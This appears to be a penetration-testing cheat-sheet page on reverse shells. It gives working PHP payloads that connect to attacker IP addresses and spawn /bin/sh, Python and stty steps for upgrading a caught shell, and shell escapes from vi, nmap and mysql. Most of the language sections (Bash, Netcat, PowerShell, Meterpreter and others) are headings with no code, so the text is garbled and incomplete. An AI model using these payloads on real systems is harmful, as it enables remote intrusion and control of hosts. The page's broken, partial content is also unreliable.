Reverse Shells
Upgrade your shell, upgrade your life
Python Upgrade
# On compromised host
python -c 'import pty; pty.spawn("/bin/bash")'
# ctrl-z
# While terminal session backgrounded
stty raw -echo
fgReverse Shell Snippets
PHP
Payload
<?php $sock=fsockopen("10.11.0.53", 443); proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>Command line
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'Bash
Bash TCP
Bash UDP
Socat
Static socat binary can be found at https://github.com/andrew-d/static-binaries
Perl
Python
Linux only
Windows only
Ruby
Golang
Netcat Traditional
Netcat OpenBSD
Ncat
OpenSSL
Powershell
Awk
Java
Java Alternative 1
Java Alternative 2
NOTE: This is more stealthy
War
Lua
Linux only
Windows and Linux
NodeJS
Groovy
by frohoff NOTE: Java reverse shell also work for Groovy
Groovy Alternative 1
NOTE: This is more stealthy
Meterpreter Shell
Windows Staged reverse TCP
Windows Stageless reverse TCP
Linux Staged reverse TCP
Linux Stageless reverse TCP
Other platforms
Spawn TTY Shell
In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell, allowing you to clear the screen with [CTRL] + [L].
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
⚠️ OhMyZSH might break this trick, a simple sh is recommended
The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
or use socat binary to get a fully tty reverse shell
Spawn a TTY shell from an interpreter
vi:
:!bashvi:
:set shell=/bin/bash:shellnmap:
!shmysql:
! bash
Fully interactive reverse shell on Windows
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
ConPtyShell uses the function CreatePseudoConsole(). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).
Server Side:
Client Side:
Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
References
Last updated
Was this helpful?